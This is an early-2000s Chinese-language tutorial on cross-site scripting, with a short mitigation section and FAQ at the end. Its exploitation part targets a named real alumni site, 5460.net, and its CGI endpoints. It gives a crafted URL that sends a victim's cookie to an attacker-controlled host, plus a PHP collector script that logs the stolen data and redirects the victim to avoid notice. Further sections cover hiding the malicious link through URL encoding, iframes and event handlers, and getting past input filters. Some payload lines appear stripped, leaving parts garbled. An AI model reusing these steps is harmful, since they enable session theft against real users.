【前言】 本文主要介绍跨站脚本执行漏洞的成因,形式,危害,利用方式,隐藏技巧,解决 *** 和常见问题 (FAQ),由于目前介绍跨站脚本执行漏洞的资料还不是很多,而且一般也不是很详细,所以希望本文能够 比较详细的介绍该漏洞。由于时间仓促,水平有限,本文可能有不少错误,希望大家不吝赐教。 声明,请不要利用本文介绍的任何内容,代码或 *** 进行破坏,否则一切后果自负! 【漏洞成因】 原因很简单,就是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换。 【漏洞形式】 这里所说的形式,实际上是指CGI输入的形式,主要分为两种: 1.显示输入 2.隐式输入 其中显示输入明确要求用户输入数据,而隐式输入则本来并不要求用户输入数据,但是用户却可以通 过输入数据来进行干涉。 显示输入又可以分为两种: 1. 输入完成立刻输出结果 2. 输入完成先存储在文本文件或数据库中,然后再输出结果 注意:后者可能会让你的网站面目全非!:( 而隐式输入除了一些正常的情况外,还可以利用服务器或CGI程序处理错误信息的方式来实施。 【漏洞危害】 大家最关心的大概就要算这个问题了,下面列举的可能并不全面,也不系统,但是我想应该是比较典 型的吧。 1. 获取其他用户Cookie中的敏感数据 2. 屏蔽页面特定信息 3. 伪造页面信息 4. 拒绝服务攻击 5. 突破外网内网不同安全设置 6. 与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等 7. 其它 一般来说,上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞,也就是通过别人的 网站达到攻击的效果,也就是说,这种攻击能在一定程度上隐藏身份。 【利用方式】 下面我们将通过具体例子来演示上面的各种危害,这样应该更能说明问题,而且更易于理解。为了条 理更清晰一些,我们将针对每种危害做一个实验。 为了做好这些实验,我们需要一个抓包软件,我使用的是Iris,当然你可以选择其它的软件,比如 NetXray什么的。至于具体的使用 *** ,请参考相关帮助或手册。 另外,需要明白的一点就是:只要服务器返回用户提交的信息,就可能存在跨站脚本执行漏洞。 好的,一切就绪,我们开始做实验!:) 实验一:获取其他用户Cookie中的敏感信息 我们以国内著名的同学录站点5460.net为例来说明一下,请按照下面的步骤进行: 1. 进入首页http://www.5460.net/ 2. 输入用户名“
”,提交,发现服务器返回信息中包含了用户提交的“
”。 3. 分析抓包数据,得到实际请求: http://www.5460.net/txl/login/login.pl?username=
&passwd=&ok.x=28&ok.y=6 4. 构造一个提交,目标是能够显示用户Cookie信息: http://www.5460.net/txl/login/login.pl?username=&passwd=&ok.x=28&ok.y=6 其中http://www.notfound.org/info.php是你能够控制的某台主机上的一个脚本,功能是获取查询字符串的信 息,内容如下: <?php $info = getenv("QUERY_STRING"); if ($info) { $fp = fopen("info.txt","a"); fwrite($fp,$info."/n"); fclose($fp); } header("Location: http://www.5460.net"); 注:“%2B”为“+”的URL编码,并且这里只能用“%2B”,因为“+”将被作为空格处理。后面的header语 句则纯粹是为了增加隐蔽性。 6. 如果上面的URL能够正确运行的话,下一步就是诱使登陆5460.net的用户访问该URL,而我们就可以 获取该用户Cookie中的敏感信息。 7. 后面要做什么就由你决定吧! 实验二:屏蔽页面特定信息 我们仍然以5460.net作为例子,下面是一个有问题的CGI程序: http://www.5460.net/txl/liuyan/liuyanSql.pl 该CGI程序接受用户提供的三个变量,即nId,csId和cName,但是没有对用户提交的cName变量进行任何检 查,而且该CGI程序把cName的值作为输出页面的一部分,5460.net的用户应该都比较清楚留言右下角有你 的名字,对吧? 既然有了上面的种种条件,我们可以不妨作出下面的结论: 某个用户可以“屏蔽”其两次留言之间的所有留言! 当然,我们说的“屏蔽”不是“删除”,用户的留言还是存在的,只不过由于HTML的特性,我们无法从 页面看到,当然如果你喜欢查看源代码的话就没有什么用处了,但是出了我们这些研究CGI安全的人来 说,有多少人有事没事都看HTML源代码? 由于种种原因,我在这里就不公布具体的细节了,大家知道原理就好了。 注:仔细想想,我们不仅能屏蔽留言,还能匿名留言,Right? 实验三:伪造页面信息 如果你理解了上面那个实验,这个实验就没有必要做了,基本原理相同,只是实现起来稍微麻烦一点而 已。 实验四:拒绝服务攻击 现在应该知道,我们在某种程度上可以控制存在跨站脚本执行漏洞的服务器的行为,既然这样,我们 就可以控制服务器进行某种消耗资源的动作。比如说运行包含死循环或打开无穷多个窗口的JavaScript脚本 等等。这样访问该URL的用户系统就可能因此速度变慢甚至崩溃。同样,我们也可能在其中嵌入一些脚 本,让该服务器请求其它服务器上的资源,如果访问的资源比较消耗资源,并且访问人数比较多的话,那 么被访问的服务器也可能被拒绝服务,而它则认为该拒绝服务攻击是由访问它的服务器发起的,这样就可 以隐藏身份。 实验五:突破外网内网不同安全设置 这个应该很好理解吧,一般来说我们的浏览器对不同的区域设置了不同的安全级别。举例来说,对于 Internet区域,可能你不允许JavaScript执行,而在Intranet区域,你就允许JavaScript执行。一般来说,前者的 安全级别都要高于后者。这样,一般情况下别人无法通过执行恶意JavaScript脚本对你进行攻击,但是如果 与你处于相同内网的服务器存在跨站脚本执行漏洞,那么攻击者就有机可乘了,因为该服务器位于Intranet 区域。 实验六:与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等 由于与浏览器相关的漏洞太多了,所以可与跨站脚本执行漏洞一起结合的漏洞也就显得不少。我想这 些问题大家都应该很清楚吧,前些时间的修改IE标题漏洞,错误MIME类型执行命令漏洞,还有多种多样 的蠕虫,都是很好的例子。 更多的例子请参考下列链接: Internet Explorer Pop-Up OBJECT Tag Bug http://archives.neohapsis.com/archives/bugtraq/2002-01/0167.html Internet Explorer Javascript Modeless Popup Local Denial of Service Vulnerability http://archives.neohapsis.com/archives/bugtraq/2002-01/0058.html MSIE6 can read local files http://www.xs4all.nl/~jkuperus/bug.htm MSIE may download and run progams automatically http://archives.neohapsis.com/archives/bugtraq/2001-12/0143.html File extensions spoofable in MSIE download dialog http://archives.neohapsis.com/archives/bugtraq/2001-11/0203.html the other IE cookie stealing bug (MS01-055) http://archives.neohapsis.com/archives/bugtraq/2001-11/0106.html Microsoft Security Bulletin MS01-055 http://archives.neohapsis.com/archives/bugtraq/2001-11/0048.html Serious security Flaw in Microsoft Internet Explorer - Zone Spoofing http://archives.neohapsis.com/archives/bugtraq/2001-10/0075.html Incorrect MIME Header Can Cause IE to Execute E-mail Attachment http://www.kriptopolis.com/cua/eml.html 跨站脚本执行漏洞在这里的角色就是隐藏真正攻击者的身份。 实验七:其它 其实这类问题和跨站脚本执行漏洞没有多大关系,但是在这里提一下还是很有必要的。问题的实质还 是CGI程序没有过滤用户提交的数据,然后进行了输出处理。举个例子来说,支持SSI的服务器上的CGI程 序输出了用户提交的数据,无论该数据是采取何种方式输入,都可能导致SSI指令的执行。当然,这是在服 务端,而不是客户端执行。其实像ASP,PHP和Perl等CGI语言都可能导致这种问题。 【隐藏技巧】 出于时间的考虑,我在这里将主要讲一下理论了,相信不是很难懂,如果实在有问题,那么去找本书 看吧。 1. URL编码 比较一下: http://www.5460.net/txl/login/login.pl?username=
&passwd=&ok.x=28&ok.y=6 http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y=6 你觉得哪个更有隐蔽性?! 2. 隐藏在其它对象之下 与直接给别人一个链接相比,你是否决定把该链接隐藏在按钮以下更好些呢? 3. 嵌入页面中 让别人访问一个地址(注意这里的地址不同于上面提到的URL),是不是又要比让别人按一个按钮容易得 多,借助于Iframe,你可以把这种攻击变得更隐蔽。 4. 合理利用事件 合理使用事件,在某些情况上可以绕过CGI程序对输入的限制,比如说前些日子的SecurityFocus的跨站脚本 执行漏洞。 【注意事项】 一般情况下直接进行类似之类的攻击没有什么问题,但是有时 CGI程序对用户的输入进行了一些处理,比如说包含在’’或””之内,这时我们就需要使用一些小技巧 来绕过这些限制。 如果你对HTML语言比较熟悉的话,绕过这些限制应该不成问题。 【解决 *** 】 要避免受到跨站脚本执行漏洞的攻击,需要程序员和用户两方面共同努力: 程序员: 1. 过滤或转换用户提交数据中的HTML代码 2. 限制用户提交数据的长度 用户: 1. 不要轻易访问别人给你的链接 2. 禁止浏览器运行JavaScript和ActiveX代码 附:常见浏览器修改设置的位置为: Internet Explorer: 工具->Internet选项->安全->Internet->自定义级别 工具->Internet选项->安全->Intranet->自定义级别 Opera: 文件->快速参数->允许使用Java 文件->快速参数->允许使用插件 文件->快速参数->允许使用JavaScript 【常见问题】 Q:跨站脚本执行漏洞在哪里存在? A:只要是CGI程序,只要允许用户输入,就可能存在跨站脚本执行漏洞。 Q:跨站脚本执行漏洞是不是只能偷别人的Cookie? A:当然不是!HTML代码能做的,跨站脚本执行漏洞基本都能做。